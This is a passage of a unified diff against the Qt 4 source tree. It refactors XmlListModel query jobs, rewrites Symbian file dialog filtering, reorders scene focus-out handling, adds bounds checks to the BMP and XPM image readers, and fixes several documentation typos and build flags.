-void QDeclarativeXmlQuery::getValuesOfKeyRoles(QStringList *values, QXmlQuery *query) const
+void QDeclarativeXmlQuery::getValuesOfKeyRoles(const XmlQueryJob& currentJob, QStringList *values, QXmlQuery *query) const
 {
-    Q_ASSERT(m_currentJob.queryId != -1);
-
-    const QStringList &keysQueries = m_currentJob.keyRoleQueries;
+    const QStringList &keysQueries = currentJob.keyRoleQueries;
     QString keysQuery;
     if (keysQueries.count() == 1)
         keysQuery = m_prefix + keysQueries[0];
@@ -336,34 +331,34 @@ void QDeclarativeXmlQuery::addIndexToRangeList(QList<QDeclarativeXmlListRange> *
         ranges->append(qMakePair(index, 1));
 }
 
-void QDeclarativeXmlQuery::doSubQueryJob()
+void QDeclarativeXmlQuery::doSubQueryJob(XmlQueryJob* currentJob)
 {
-    Q_ASSERT(m_currentJob.queryId != -1);
+    Q_ASSERT(currentJob->queryId != -1);
     m_modelData.clear();
 
-    QBuffer b(&m_currentJob.data);
+    QBuffer b(&currentJob->data);
     b.open(QIODevice::ReadOnly);
 
     QXmlQuery subquery;
     subquery.bindVariable(QLatin1String("inputDocument"), &b);
 
     QStringList keyRoleResults;
-    getValuesOfKeyRoles(&keyRoleResults, &subquery);
+    getValuesOfKeyRoles(*currentJob, &keyRoleResults, &subquery);
 
     // See if any values of key roles have been inserted or removed.
 
     m_insertedItemRanges.clear();
     m_removedItemRanges.clear();
-    if (m_currentJob.keyRoleResultsCache.isEmpty()) {
+    if (currentJob->keyRoleResultsCache.isEmpty()) {
         m_insertedItemRanges << qMakePair(0, m_size);
     } else {
-        if (keyRoleResults != m_currentJob.keyRoleResultsCache) {
+        if (keyRoleResults != currentJob->keyRoleResultsCache) {
             QStringList temp;
-            for (int i=0; i<m_currentJob.keyRoleResultsCache.count(); i++) {
-                if (!keyRoleResults.contains(m_currentJob.keyRoleResultsCache[i]))
+            for (int i=0; i<currentJob->keyRoleResultsCache.count(); i++) {
+                if (!keyRoleResults.contains(currentJob->keyRoleResultsCache[i]))
                     addIndexToRangeList(&m_removedItemRanges, i);
                 else 
-                    temp << m_currentJob.keyRoleResultsCache[i];
+                    temp << currentJob->keyRoleResultsCache[i];
             }
 
             for (int i=0; i<keyRoleResults.count(); i++) {
@@ -374,15 +369,15 @@ void QDeclarativeXmlQuery::doSubQueryJob()
             }
         }
     }
-    m_currentJob.keyRoleResultsCache = keyRoleResults;
+    currentJob->keyRoleResultsCache = keyRoleResults;
 
     // Get the new values for each role.
     //### we might be able to condense even further (query for everything in one go)
-    const QStringList &queries = m_currentJob.roleQueries;
+    const QStringList &queries = currentJob->roleQueries;
     for (int i = 0; i < queries.size(); ++i) {
         QList<QVariant> resultList;
         if (!queries[i].isEmpty()) {
-            subquery.setQuery(m_prefix + QLatin1String("(let $v := ") + queries[i] + QLatin1String(" return if ($v) then ") + queries[i] + QLatin1String(" else \"\")"));
+            subquery.setQuery(m_prefix + QLatin1String("(let $v := string(") + queries[i] + QLatin1String(") return if ($v) then ") + queries[i] + QLatin1String(" else \"\")"));
             if (subquery.isValid()) {
                 QXmlResultItems resultItems;
                 subquery.evaluateTo(&resultItems);
@@ -392,7 +387,7 @@ void QDeclarativeXmlQuery::doSubQueryJob()
                     item = resultItems.next();
                 }
             } else {
-                emit error(m_currentJob.roleQueryErrorId.at(i), queries[i]);
+                emit error(currentJob->roleQueryErrorId.at(i), queries[i]);
             }
         }
         //### should warn here if things have gone wrong.
@@ -792,9 +787,9 @@ void QDeclarativeXmlListModel::setNamespaceDeclarations(const QString &declarati
 
     This will access the \c title value for the first item in the model:
 
-    \qml
-        var title = model.get(0).title;
-    \endqml
+    \js
+    var title = model.get(0).title;
+    \endjs
 */
 QScriptValue QDeclarativeXmlListModel::get(int index) const
 {
diff --git a/src/declarative/util/util.pri b/src/declarative/util/util.pri
index fd57144..62fa8f1 100644
--- a/src/declarative/util/util.pri
+++ b/src/declarative/util/util.pri
@@ -1,6 +1,7 @@
 INCLUDEPATH += $$PWD
 
 SOURCES += \
+    $$PWD/qdeclarativeapplication.cpp \
     $$PWD/qdeclarativeutilmodule.cpp\
     $$PWD/qdeclarativeview.cpp \
     $$PWD/qdeclarativeconnections.cpp \
@@ -30,6 +31,7 @@ SOURCES += \
     $$PWD/qlistmodelinterface.cpp
 
 HEADERS += \
+    $$PWD/qdeclarativeapplication_p.h \
     $$PWD/qdeclarativeutilmodule_p.h\
     $$PWD/qdeclarativeview.h \
     $$PWD/qdeclarativeconnections_p.h \
diff --git a/src/gui/dialogs/qfiledialog.cpp b/src/gui/dialogs/qfiledialog.cpp
index e81773b..0c1304f 100644
--- a/src/gui/dialogs/qfiledialog.cpp
+++ b/src/gui/dialogs/qfiledialog.cpp
@@ -1770,7 +1770,7 @@ QString QFileDialog::getOpenFileName(QWidget *parent,
 
     On Symbian^3 the parameter \a selectedFilter has no meaning and the
     \a options parameter is only used to define if the native file dialog is
-    used.
+    used. On Symbian^3, this function can only return a single filename.
 
     \warning Do not delete \a parent during the execution of the dialog. If you
     want to do this, you should create the dialog yourself using one of the
diff --git a/src/gui/dialogs/qfiledialog_symbian.cpp b/src/gui/dialogs/qfiledialog_symbian.cpp
index e7197bd..ed98950 100644
--- a/src/gui/dialogs/qfiledialog_symbian.cpp
+++ b/src/gui/dialogs/qfiledialog_symbian.cpp
@@ -54,6 +54,9 @@
 
 QT_BEGIN_NAMESPACE
 
+extern QStringList qt_make_filter_list(const QString &filter); // defined in qfiledialog.cpp
+extern QStringList qt_clean_filter_list(const QString &filter); // defined in qfiledialog.cpp
+
 enum DialogMode { DialogOpen, DialogSave, DialogFolder };
 #if defined(Q_WS_S60) && defined(SYMBIAN_VERSION_SYMBIAN3)
 class CExtensionFilter : public MAknFileFilter
@@ -61,56 +64,39 @@ class CExtensionFilter : public MAknFileFilter
 public:
     void setFilter(const QString filter)
     {
-        filterList.clear();
-        if (filter.left(2) == QLatin1String("*.")) {
-            //Filter has only extensions
-            filterList << filter.split(QLatin1String(" "));
-            return;
-        } else {
-            //Extensions are in parenthesis and there may be several filters
-            QStringList separatedFilters(filter.split(QLatin1String(";;")));
-            for (int i = 0; i < separatedFilters.size(); i++) {
-                if (separatedFilters.at(i).contains(QLatin1String("(*)"))) {
-                    filterList << QLatin1String("(*)");
-                    return;
-                }
-            }
-            QRegExp rx(QLatin1String("\\(([^\\)]*)\\)"));
-            int pos = 0;
-            while ((pos = rx.indexIn(filter, pos)) != -1) {
-                filterList << rx.cap(1).split(QLatin1String(" "));
-                pos += rx.matchedLength();
-            }
+        QStringList unparsedFiltersList = qt_make_filter_list(filter);
+        QStringList filterList;
+        filterRxList.clear();
+
+        foreach (QString unparsedFilter, unparsedFiltersList) {
+            filterList << qt_clean_filter_list(unparsedFilter);
+        }
+        foreach (QString currentFilter, filterList) {
+            QRegExp filterRx(currentFilter, Qt::CaseInsensitive, QRegExp::Wildcard);
+            filterRxList << filterRx;
         }
     }
 
     TBool Accept(const TDesC &/*aDriveAndPath*/, const TEntry &aEntry) const
     {
-        if (aEntry.IsDir())
-            return ETrue;
-
         //If no filter for files, all can be accepted
-        if (filterList.isEmpty())
+        if (filterRxList.isEmpty())
             return ETrue;
 
-        if (filterList == QStringList(QLatin1String("(*)")))
+        if (aEntry.IsDir())
             return ETrue;
 
-        for (int i = 0; i < filterList.size(); ++i) {
-            QString extension = filterList.at(i);
-            //remove '*' from the beginning of the extension
-            if (extension.at(0) == QLatin1Char('*'))
-                extension = extension.mid(1);
-
+        foreach (QRegExp rx, filterRxList) {
             QString fileName = qt_TDesC2QString(aEntry.iName);
-            if (fileName.endsWith(extension))
+            if (rx.exactMatch(fileName))
                 return ETrue;
         }
+
         return EFalse;
     }
 
 private:
-    QStringList filterList;
+    QList<QRegExp> filterRxList;
 };
 #endif
 
@@ -140,11 +126,13 @@ static QString launchSymbianDialog(const QString dialogCaption, const QString st
                 CleanupStack::PushL(extensionFilter);
                 extensionFilter->setFilter(filter);
                 select = AknCommonDialogsDynMem::RunSelectDlgLD(types, target,
-                         startFolder, NULL, NULL, titlePtr, extensionFilter);
+                         startFolder, 0, 0, titlePtr, extensionFilter);
                 CleanupStack::Pop(extensionFilter);
             } else if (dialogMode == DialogSave) {
+                QString defaultFileName = QFileDialogPrivate::initialSelection(startDirectory);
+                target = qt_QString2TPtrC(defaultFileName);
                 select = AknCommonDialogsDynMem::RunSaveDlgLD(types, target,
-                         startFolder, NULL, NULL, titlePtr);
+                         startFolder, 0, 0, titlePtr);
             } else if (dialogMode == DialogFolder) {
                 select = AknCommonDialogsDynMem::RunFolderSelectDlgLD(types, target, startFolder,
                             0, 0, titlePtr, NULL, NULL);
@@ -160,8 +148,10 @@ static QString launchSymbianDialog(const QString dialogCaption, const QString st
             startFolder = qt_QString2TPtrC(dir);
         }
     }
-    if (select)
-        selection.append(qt_TDesC2QString(target));
+    if (select) {
+        QFileInfo fi(qt_TDesC2QString(target));
+        selection = fi.absoluteFilePath();
+    }
 #endif
     return selection;
 }
diff --git a/src/gui/dialogs/qfilesystemmodel.cpp b/src/gui/dialogs/qfilesystemmodel.cpp
index dd27aff..cb8eb6a 100644
--- a/src/gui/dialogs/qfilesystemmodel.cpp
+++ b/src/gui/dialogs/qfilesystemmodel.cpp
@@ -1458,7 +1458,6 @@ void QFileSystemModel::setIconProvider(QFileIconProvider *provider)
 {
     Q_D(QFileSystemModel);
     d->fileInfoGatherer.setIconProvider(provider);
-    QApplication::processEvents();
     d->root.updateIcon(provider, QString());
 }
 
diff --git a/src/gui/dialogs/qpagesetupdialog.cpp b/src/gui/dialogs/qpagesetupdialog.cpp
index 2a7847e..4037e1c 100644
--- a/src/gui/dialogs/qpagesetupdialog.cpp
+++ b/src/gui/dialogs/qpagesetupdialog.cpp
@@ -107,10 +107,10 @@ class QPageSetupDialogPrivate : public QAbstractPageSetupDialogPrivate
 
     This value is obsolete and does nothing since Qt 4.5:
 
-    \value DontUseSheet In previous versions of Qt, exec() the page setup dialog
-    would create a sheet by default if the dialog was given a parent.
-    This is no longer supported in Qt 4.5.  If you want to use sheets, use
-    QPageSetupDialog::open() instead.
+    \value DontUseSheet In previous versions of QDialog::exec() the
+    page setup dialog would create a sheet by default if the dialog
+    was given a parent.  This is no longer supported from Qt 4.5.  If
+    you want to use sheets, use QPageSetupDialog::open() instead.
 
     \omitvalue None
     \omitvalue OwnsPrinter
diff --git a/src/gui/embedded/qscreen_qws.cpp b/src/gui/embedded/qscreen_qws.cpp
index 4656af8..e207ed1 100644
--- a/src/gui/embedded/qscreen_qws.cpp
+++ b/src/gui/embedded/qscreen_qws.cpp
@@ -1768,7 +1768,7 @@ QImage::Format QScreenPrivate::preferredImageFormat() const
     This function is called by every \l{Qt for Embedded Linux}
     application on startup, and must be implemented to map in the
     framebuffer and the accelerated drivers that the graphics card
-    control registers.  Note that coonnect must be called \e before
+    control registers.  Note that connect must be called \e before
     the initDevice() function.
 
     Ensure that true is returned if a connection to the screen device
diff --git a/src/gui/graphicsview/qgraphicsanchorlayout.cpp b/src/gui/graphicsview/qgraphicsanchorlayout.cpp
index b059bd2..014b61b 100644
--- a/src/gui/graphicsview/qgraphicsanchorlayout.cpp
+++ b/src/gui/graphicsview/qgraphicsanchorlayout.cpp
@@ -56,9 +56,9 @@
     Items that are anchored are automatically added to the layout, and if items
     are removed, all their anchors will be automatically removed.
 
-    \beginfloatleft
+    \div {float-left}
     \inlineimage simpleanchorlayout-example.png Using an anchor layout to align simple colored widgets.
-    \endfloat
+    \enddiv
 
     Anchors are always set up between edges of an item, where the "center" is also considered to
     be an edge. Consider the following example:
diff --git a/src/gui/graphicsview/qgraphicsitem.cpp b/src/gui/graphicsview/qgraphicsitem.cpp
index 01fed8c..ecc8941 100644
--- a/src/gui/graphicsview/qgraphicsitem.cpp
+++ b/src/gui/graphicsview/qgraphicsitem.cpp
@@ -7689,11 +7689,13 @@ void QGraphicsObject::updateMicroFocus()
 
 void QGraphicsItemPrivate::children_append(QDeclarativeListProperty<QGraphicsObject> *list, QGraphicsObject *item)
 {
-    QGraphicsObject *graphicsObject = static_cast<QGraphicsObject *>(list->object);
-    if (QGraphicsItemPrivate::get(graphicsObject)->sendParentChangeNotification) {
-        item->setParentItem(graphicsObject);
-    } else {
-        QGraphicsItemPrivate::get(item)->setParentItemHelper(graphicsObject, 0, 0);
+    if (item) {
+        QGraphicsObject *graphicsObject = static_cast<QGraphicsObject *>(list->object);
+        if (QGraphicsItemPrivate::get(graphicsObject)->sendParentChangeNotification) {
+            item->setParentItem(graphicsObject);
+        } else {
+            QGraphicsItemPrivate::get(item)->setParentItemHelper(graphicsObject, 0, 0);
+        }
     }
 }
 
diff --git a/src/gui/graphicsview/qgraphicsscene.cpp b/src/gui/graphicsview/qgraphicsscene.cpp
index 7b87239..77ccc8e 100644
--- a/src/gui/graphicsview/qgraphicsscene.cpp
+++ b/src/gui/graphicsview/qgraphicsscene.cpp
@@ -130,7 +130,7 @@
     item on the scene gains focus, the scene automatically gains focus. If the
     scene has focus, hasFocus() will return true, and key events will be
     forwarded to the focus item, if any. If the scene loses focus, (i.e.,
-    someone calls clearFocus(),) while an item has focus, the scene will
+    someone calls clearFocus()) while an item has focus, the scene will
     maintain its item focus information, and once the scene regains focus, it
     will make sure the last focus item regains focus.
 
@@ -806,28 +806,23 @@ void QGraphicsScenePrivate::setFocusItemHelper(QGraphicsItem *item,
     }
 
     if (focusItem) {
-        QFocusEvent event(QEvent::FocusOut, focusReason);
         lastFocusItem = focusItem;
-        focusItem = 0;
-        sendEvent(lastFocusItem, &event);
 
 #ifndef QT_NO_IM
         if (lastFocusItem
             && (lastFocusItem->flags() & QGraphicsItem::ItemAcceptsInputMethod)) {
-            // Reset any visible preedit text
-            QInputMethodEvent imEvent;
-            sendEvent(lastFocusItem, &imEvent);
-
             // Close any external input method panel. This happens
             // automatically by removing WA_InputMethodEnabled on
             // the views, but if we are changing focus, we have to
             // do it ourselves.
-            if (item) {
-                for (int i = 0; i < views.size(); ++i)
-                    if (views.at(i)->inputContext())
-                        views.at(i)->inputContext()->reset();
-            }
+            for (int i = 0; i < views.size(); ++i)
+                if (views.at(i)->inputContext())
+                    views.at(i)->inputContext()->reset();
         }
+
+        focusItem = 0;
+        QFocusEvent event(QEvent::FocusOut, focusReason);
+        sendEvent(lastFocusItem, &event);
 #endif //QT_NO_IM
     }
 
@@ -3104,8 +3099,8 @@ bool QGraphicsScene::stickyFocus() const
     \list
     \o If the item receives a mouse release event when there are no other
     buttons pressed, it loses the mouse grab.
-    \o If the item becomes invisible (i.e., someone calls \c {item->setVisible(false))},
-    or if it becomes disabled (i.e., someone calls \c {item->setEnabled(false))},
+    \o If the item becomes invisible (i.e., someone calls \c {item->setVisible(false)}),
+    or if it becomes disabled (i.e., someone calls \c {item->setEnabled(false)}),
     it loses the mouse grab.
     \o If the item is removed from the scene, it loses the mouse grab.
     \endlist
@@ -5924,6 +5919,8 @@ bool QGraphicsScenePrivate::sendTouchBeginEvent(QGraphicsItem *origin, QTouchEve
         }
         if (item->isPanel())
             break;
+        if (item->d_ptr->flags & QGraphicsItem::ItemStopsClickFocusPropagation)
+            break;
     }
 
     // If nobody could take focus, clear it.
@@ -5956,6 +5953,8 @@ bool QGraphicsScenePrivate::sendTouchBeginEvent(QGraphicsItem *origin, QTouchEve
         }
         if (item && item->isPanel())
             break;
+        if (item && (item->d_ptr->flags & QGraphicsItem::ItemStopsClickFocusPropagation))
+            break;
     }
 
     touchEvent->setAccepted(eventAccepted);
diff --git a/src/gui/gui.pro b/src/gui/gui.pro
index fe1a595..076fe0a 100644
--- a/src/gui/gui.pro
+++ b/src/gui/gui.pro
@@ -65,15 +65,14 @@ symbian {
 neon:*-g++* {
     DEFINES += QT_HAVE_NEON
     HEADERS += $$NEON_HEADERS
-    SOURCES += $$NEON_SOURCES
 
     DRAWHELPER_NEON_ASM_FILES = $$NEON_ASM
 
-    neon_compiler.commands = $$QMAKE_CXX -c -mfpu=neon
-    neon_compiler.commands += $(CXXFLAGS) $(INCPATH) ${QMAKE_FILE_IN} -o ${QMAKE_FILE_OUT}
+    neon_compiler.commands = $$QMAKE_CXX -c
+    neon_compiler.commands += $(CXXFLAGS) -mfpu=neon $(INCPATH) ${QMAKE_FILE_IN} -o ${QMAKE_FILE_OUT}
     neon_compiler.dependency_type = TYPE_C
     neon_compiler.output = ${QMAKE_VAR_OBJECTS_DIR}${QMAKE_FILE_BASE}$${first(QMAKE_EXT_OBJ)}
-    neon_compiler.input = DRAWHELPER_NEON_ASM_FILES
+    neon_compiler.input = DRAWHELPER_NEON_ASM_FILES NEON_SOURCES
     neon_compiler.variable_out = OBJECTS
     neon_compiler.name = compiling[neon] ${QMAKE_FILE_IN}
     silent:neon_compiler.commands = @echo compiling[neon] ${QMAKE_FILE_IN} && $$neon_compiler.commands
diff --git a/src/gui/image/qbmphandler.cpp b/src/gui/image/qbmphandler.cpp
index 09c086a..6dea9d9 100644
--- a/src/gui/image/qbmphandler.cpp
+++ b/src/gui/image/qbmphandler.cpp
@@ -246,6 +246,8 @@ static bool read_dib_body(QDataStream &s, const BMP_INFOHDR &bi, int offset, int
 
     if (depth != 32) {
         ncols = bi.biClrUsed ? bi.biClrUsed : 1 << nbits;
+        if (ncols > 256) // sanity check - don't run out of mem if color table is broken
+            return false;
         image.setColorCount(ncols);
     }
 
diff --git a/src/gui/image/qimage.cpp b/src/gui/image/qimage.cpp
index 91ee697..d992dd5 100644
--- a/src/gui/image/qimage.cpp
+++ b/src/gui/image/qimage.cpp
@@ -477,12 +477,12 @@ bool QImageData::checkForAlphaPixels() const
     function. For example:
 
     \table
+    \header
+    \o {2,1}32-bit
     \row
     \o \inlineimage qimage-32bit_scaled.png
     \o
     \snippet doc/src/snippets/code/src_gui_image_qimage.cpp 0
-    \header
-    \o {2,1}32-bit
     \endtable
 
     In case of a 8-bit and monchrome images, the pixel value is only
@@ -498,12 +498,12 @@ bool QImageData::checkForAlphaPixels() const
     example:
 
     \table
+    \header
+    \o {2,1} 8-bit
     \row
     \o \inlineimage qimage-8bit_scaled.png
     \o
     \snippet doc/src/snippets/code/src_gui_image_qimage.cpp 1
-    \header
-    \o {2,1} 8-bit
     \endtable
 
     QImage also provide the scanLine() function which returns a
diff --git a/src/gui/image/qnativeimage.cpp b/src/gui/image/qnativeimage.cpp
index 01baa36..8face87 100644
--- a/src/gui/image/qnativeimage.cpp
+++ b/src/gui/image/qnativeimage.cpp
@@ -181,15 +181,17 @@ QNativeImage::QNativeImage(int width, int height, QImage::Format format,bool /*
     if (ok) {
         xshmimg->data = (char*)shmat(xshminfo.shmid, 0, 0);
         xshminfo.shmaddr = xshmimg->data;
-        if (shmctl(xshminfo.shmid, IPC_RMID, 0) == -1)
-            qWarning() << "Error while marking the shared memory segment to be destroyed";
         ok = (xshminfo.shmaddr != (char*)-1);
         if (ok)
             image = QImage((uchar *)xshmimg->data, width, height, format);
     }
     xshminfo.readOnly = false;
-    if (ok)
+    if (ok) {
         ok = XShmAttach(X11->display, &xshminfo);
+        XSync(X11->display, False);
+        if (shmctl(xshminfo.shmid, IPC_RMID, 0) == -1)
+            qWarning() << "Error while marking the shared memory segment to be destroyed";
+    }
     if (!ok) {
         qWarning() << "QNativeImage: Unable to attach to shared memory segment.";
         if (xshmimg->data) {
diff --git a/src/gui/image/qpixmap_s60.cpp b/src/gui/image/qpixmap_s60.cpp
index dbe8177..ca5f133 100644
--- a/src/gui/image/qpixmap_s60.cpp
+++ b/src/gui/image/qpixmap_s60.cpp
@@ -1012,6 +1012,33 @@ void QS60PixmapData::fromNativeType(void* pixmap, NativeType nativeType)
     }
 }
 
+void QS60PixmapData::convertToDisplayMode(int mode)
+{
+    const TDisplayMode displayMode = static_cast<TDisplayMode>(mode);
+    if (!cfbsBitmap || cfbsBitmap->DisplayMode() == displayMode)
+        return;
+    if (image.depth() != TDisplayModeUtils::NumDisplayModeBitsPerPixel(displayMode)) {
+        qWarning("Cannot convert display mode due to depth mismatch");
+        return;
+    }
+
+    const TSize size = cfbsBitmap->SizeInPixels();
+    QScopedPointer<CFbsBitmap> newBitmap(createSymbianCFbsBitmap(size, displayMode));
+
+    const uchar *sptr = const_cast<const QImage &>(image).bits();
+    symbianBitmapDataAccess->beginDataAccess(newBitmap.data());
+    uchar *dptr = (uchar*)newBitmap->DataAddress();
+    Mem::Copy(dptr, sptr, image.byteCount());
+    symbianBitmapDataAccess->endDataAccess(newBitmap.data());
+
+    QSymbianFbsHeapLock lock(QSymbianFbsHeapLock::Unlock);
+    delete cfbsBitmap;
+    lock.relock();
+    cfbsBitmap = newBitmap.take();
+    setSerialNumber(cfbsBitmap->Handle());
+    UPDATE_BUFFER();
+}
+
 QPixmapData *QS60PixmapData::createCompatiblePixmapData() const
 {
     return new QS60PixmapData(pixelType());
diff --git a/src/gui/image/qpixmap_s60_p.h b/src/gui/image/qpixmap_s60_p.h
index e4060dc..c440bbc 100644
--- a/src/gui/image/qpixmap_s60_p.h
+++ b/src/gui/image/qpixmap_s60_p.h
@@ -107,6 +107,8 @@ public:
     void* toNativeType(NativeType type);
     void fromNativeType(void* pixmap, NativeType type);
 
+    void convertToDisplayMode(int mode);
+
 private:
     void release();
     void fromSymbianBitmap(CFbsBitmap* bitmap, bool lockFormat=false);
diff --git a/src/gui/image/qxpmhandler.cpp b/src/gui/image/qxpmhandler.cpp
index ffad75b..075d5da 100644
--- a/src/gui/image/qxpmhandler.cpp
+++ b/src/gui/image/qxpmhandler.cpp
@@ -864,7 +864,7 @@ static bool read_xpm_body(
     QByteArray buf(200, 0);
     int i;
 
-    if (cpp > 15)
+    if (cpp < 0 || cpp > 15)
         return false;
 
     // For > 256 colors, we delay creation of the image until
diff --git a/src/gui/itemviews/qabstractitemview.cpp b/src/gui/itemviews/qabstractitemview.cpp
index 4dd0aa3..291ec6e 100644
--- a/src/gui/itemviews/qabstractitemview.cpp
+++ b/src/gui/itemviews/qabstractitemview.cpp
@@ -657,9 +657,9 @@ QAbstractItemView::~QAbstractItemView()
     deleteLater() functions to explicitly delete them.
 
     The view \e{does not} take ownership of the model unless it is the model's
-    parent object because the view may be shared between many different views.
+    parent object because the model may be shared between many different views.
 
-  \sa selectionModel(), setSelectionModel()
+    \sa selectionModel(), setSelectionModel()
 */
 void QAbstractItemView::setModel(QAbstractItemModel *model)
 {
diff --git a/src/gui/itemviews/qtreeview.cpp b/src/gui/itemviews/qtreeview.cpp
index d03babb..21c9d3b 100644
--- a/src/gui/itemviews/qtreeview.cpp
+++ b/src/gui/itemviews/qtreeview.cpp
@@ -2744,6 +2744,7 @@ int QTreeView::indexRowSizeHint(const QModelIndex &index) const
 
     int start = -1;
     int end = -1;
+    int indexRow = index.row();
     int count = d->header->count();
     bool emptyHeader = (count == 0);
     QModelIndex parent = index.parent();
@@ -2780,7 +2781,7 @@ int QTreeView::indexRowSizeHint(const QModelIndex &index) const
         int logicalColumn = emptyHeader ? column : d->header->logicalIndex(column);
         if (d->header->isSectionHidden(logicalColumn))
             continue;
-        QModelIndex idx = d->model->index(index.row(), logicalColumn, parent);
+        QModelIndex idx = d->model->index(indexRow, logicalColumn, parent);
         if (idx.isValid()) {
             QWidget *editor = d->editorForIndex(idx).widget.data();
             if (editor && d->persistent.contains(editor)) {
@@ -3215,14 +3216,14 @@ int QTreeViewPrivate::itemHeight(int item) const
     if (viewItems.isEmpty())
         return 0;
     const QModelIndex &index = viewItems.at(item).index;
+    if (!index.isValid())
+        return 0;
     int height = viewItems.at(item).height;
-    if (height <= 0 && index.isValid()) {
+    if (height <= 0) {
         height = q_func()->indexRowSizeHint(index);
         viewItems[item].height = height;
     }
-    if (!index.isValid() || height < 0)
-        return 0;
-    return height;
+    return qMax(height, 0);
 }
 
 
diff --git a/src/gui/kernel/qapplication_s60.cpp b/src/gui/kernel/qapplication_s60.cpp
index 0d8527a..586869a 100644
--- a/src/gui/kernel/qapplication_s60.cpp
+++ b/src/gui/kernel/qapplication_s60.cpp
@@ -87,7 +87,7 @@
 #include <hal.h>
 #include <hal_data.h>
 
-#ifdef SYMBIAN_GRAPHICS_WSERV_QT_EFFECTS
+#ifdef Q_SYMBIAN_TRANSITION_EFFECTS
 #include <graphics/wstfxconst.h>
 #endif
 
@@ -432,7 +432,7 @@ void QSymbianControl::ConstructL(bool isWindowOwning, bool desktop)
         DrawableWindow()->SetPointerGrab(ETrue);
     }
 
-#ifdef SYMBIAN_GRAPHICS_WSERV_QT_EFFECTS
+#ifdef Q_SYMBIAN_TRANSITION_EFFECTS
     if (OwnsWindow()) {
         TTfxWindowPurpose windowPurpose(ETfxPurposeNone);
         switch (qwidget->windowType()) {
@@ -1245,12 +1245,14 @@ void QSymbianControl::FocusChanged(TDrawNow /* aDrawNow */)
 #ifdef Q_WS_S60
         // If widget is fullscreen/minimized, hide status pane and button container otherwise show them.
         QWidget *const window = qwidget->window();
-        const bool visible = !(window->windowState() & (Qt::WindowFullScreen | Qt::WindowMinimized));
-        const bool statusPaneVisibility = visible;
-        const bool isFullscreen = window->windowState() & Qt::WindowFullScreen;
-        const bool cbaVisibilityHint = window->windowFlags() & Qt::WindowSoftkeysVisibleHint;
-        const bool buttonGroupVisibility = (visible || (isFullscreen && cbaVisibilityHint));
-        S60->setStatusPaneAndButtonGroupVisibility(statusPaneVisibility, buttonGroupVisibility);
+        if (!window->parentWidget()) { // Only top level native windows have control over cba/status pane
+            const bool decorationsVisible = !(window->windowState() & (Qt::WindowFullScreen | Qt::WindowMinimized));
+            const bool statusPaneVisibility = decorationsVisible;
+            const bool isFullscreen = window->windowState() & Qt::WindowFullScreen;
+            const bool cbaVisibilityHint = window->windowFlags() & Qt::WindowSoftkeysVisibleHint;
+            const bool buttonGroupVisibility = (decorationsVisible || (isFullscreen && cbaVisibilityHint));
+            S60->setStatusPaneAndButtonGroupVisibility(statusPaneVisibility, buttonGroupVisibility);
+        }
 #endif
     } else if (QApplication::activeWindow() == qwidget->window()) {
         bool focusedControlFound = false;
@@ -1586,7 +1588,7 @@ void qt_init(QApplicationPrivate * /* priv */, int)
     systemFont.setFamily(systemFont.defaultFamily());
     QApplicationPrivate::setSystemFont(systemFont);
 
-#ifdef SYMBIAN_GRAPHICS_WSERV_QT_EFFECTS
+#ifdef Q_SYMBIAN_TRANSITION_EFFECTS
     QObject::connect(qApp, SIGNAL(aboutToQuit()), qApp, SLOT(_q_aboutToQuit()));
 #endif
 
@@ -1618,7 +1620,9 @@ void qt_init(QApplicationPrivate * /* priv */, int)
     qRegisterMetaType<WId>("WId");
 }
 
+#ifdef QT_NO_FREETYPE
 extern void qt_cleanup_symbianFontDatabase(); // qfontdatabase_s60.cpp
+#endif
 
 /*****************************************************************************
   qt_cleanup() - cleans up when the application is finished
@@ -1635,7 +1639,9 @@ void qt_cleanup()
     QFontCache::cleanup(); // Has to happen now, since QFontEngineS60 has FBS handles
     QPixmapCache::clear(); // Has to happen now, since QS60PixmapData has FBS handles
 
+#ifdef QT_NO_FREETYPE
     qt_cleanup_symbianFontDatabase();
+#endif
 // S60 structure and window server session are freed in eventdispatcher destructor as they are needed there
 
     // It's important that this happens here, before the event dispatcher gets
@@ -1689,7 +1695,7 @@ bool QApplicationPrivate::modalState()
 
 void QApplicationPrivate::enterModal_sys(QWidget *widget)
 {
-#ifdef SYMBIAN_GRAPHICS_WSERV_QT_EFFECTS
+#ifdef Q_SYMBIAN_TRANSITION_EFFECTS
     S60->wsSession().SendEffectCommand(ETfxCmdAppModalModeEnter);
 #endif
     if (widget) {
@@ -1707,7 +1713,7 @@ void QApplicationPrivate::enterModal_sys(QWidget *widget)
 
 void QApplicationPrivate::leaveModal_sys(QWidget *widget)
 {
-#ifdef SYMBIAN_GRAPHICS_WSERV_QT_EFFECTS
+#ifdef Q_SYMBIAN_TRANSITION_EFFECTS
     S60->wsSession().SendEffectCommand(ETfxCmdAppModalModeExit);
 #endif
     if (widget) {
@@ -2395,7 +2401,7 @@ void QApplication::restoreOverrideCursor()
 
 void QApplicationPrivate::_q_aboutToQuit()
 {
-#ifdef SYMBIAN_GRAPHICS_WSERV_QT_EFFECTS
+#ifdef Q_SYMBIAN_TRANSITION_EFFECTS
     // Send the shutdown tfx command
     S60->wsSession().SendEffectCommand(ETfxCmdAppShutDown);
 #endif
diff --git a/src/gui/kernel/qapplication_x11.cpp b/src/gui/kernel/qapplication_x11.cpp
index 2c51722..589b12e 100644
--- a/src/gui/kernel/qapplication_x11.cpp
+++ b/src/gui/kernel/qapplication_x11.cpp
@@ -5227,14 +5227,15 @@ bool QETWidget::translateConfigEvent(const XEvent *event)
         bool trust = isVisible()
                      && (d->topData()->parentWinId == XNone ||
                          d->topData()->parentWinId == QX11Info::appRootWindow());
+        bool isCPos = false;
 
         if (event->xconfigure.send_event || trust) {
             // if a ConfigureNotify comes from a real sendevent request, we can
             // trust its values.
             newCPos.rx() = event->xconfigure.x + event->xconfigure.border_width;
             newCPos.ry() = event->xconfigure.y + event->xconfigure.border_width;
+            isCPos = true;
         }
-
         if (isVisible())
             QApplication::syncX();
 
@@ -5260,6 +5261,7 @@ bool QETWidget::translateConfigEvent(const XEvent *event)
                                    otherEvent.xconfigure.border_width;
                     newCPos.ry() = otherEvent.xconfigure.y +
                                    otherEvent.xconfigure.border_width;
+                    isCPos = true;
                 }
             }
 #ifndef QT_NO_XSYNC
@@ -5272,6 +5274,19 @@ bool QETWidget::translateConfigEvent(const XEvent *event)
 #endif // QT_NO_XSYNC
         }
 
+        if (!isCPos) {
+            // we didn't get an updated position of the toplevel.
+            // either we haven't moved or there is a bug in the window manager.
+            // anyway, let's query the position to be certain.
+            int x, y;
+            Window child;
+            XTranslateCoordinates(X11->display, internalWinId(),
